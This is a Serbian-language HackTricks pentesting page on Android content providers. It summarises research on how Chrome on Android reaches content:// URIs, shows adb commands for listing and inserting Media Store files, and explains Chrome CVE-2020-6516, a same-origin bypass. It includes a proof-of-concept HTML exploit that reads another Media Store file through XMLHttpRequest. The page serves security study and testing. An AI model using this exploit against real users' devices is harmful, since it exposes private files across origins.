hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

108 lines
6.1 KiB
Markdown

<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Ovo je sažetak posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listing Files in Media Store
Za prikazivanje fajlova upravljanih od strane Media Store-a, može se koristiti sledeća komanda:
```bash
$ content query --uri content://media/external/file
```
Za korisnički prihvatljiviji izlaz, prikazujemo samo identifikator i putanju svake indeksirane datoteke:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Content provajderi su izolovani u sopstvenom privatnom prostoru imena. Pristup provajderu zahteva određeni `content://` URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifesta aplikacije ili izvornog koda Android okvira.
### Chrome-ov pristup provajderima sadržaja
Chrome na Androidu može pristupiti provajderima sadržaja putem šeme `content://`, omogućavajući mu pristup resursima poput fotografija ili dokumenata izvezenih od strane aplikacija trećih lica. Da bismo ilustrovali ovo, datoteka može biti ubačena u Media Store i zatim pristupljena putem Chrome-a:
Ubacite prilagođeni unos u Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Otkrijte identifikator novoubačene datoteke:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Fajl zatim može biti pregledan u Chrome-u koristeći URL konstruisan sa identifikatorom fajla.
Na primer, da biste videli listu fajlova koji se odnose na određenu aplikaciju:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Bypass pravila o istom poreklu
_Same Origin Policy_ (SOP) je sigurnosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima sa različitih porekla, osim ako eksplicitno nije dozvoljeno politikom deljenja resursa sa različitog porekla (CORS). Ova politika ima za cilj da spreči curenje informacija i krivotvorenje zahteva sa drugih sajtova. Chrome smatra `content://` lokalnom šemom, implicirajući strožija pravila SOP, gde se svaki URL lokalne šeme tretira kao zasebno poreklo.
Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje pravila SOP za resurse učitane putem `content://` URL-a. U suštini, JavaScript kod sa `content://` URL-a mogao je pristupiti drugim resursima učitanim putem `content://` URL-ova, što je predstavljalo značajan sigurnosni problem, posebno na Android uređajima koji koriste verzije pre Android 10, gde nije implementiran ograničeni prostor za skladištenje.
Dole navedeni dokaz koncepta demonstrira ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod **/sdcard** i dodat u Media Store, koristi `XMLHttpRequest` u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći pravila SOP.
Dokaz koncepta HTML:
```xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>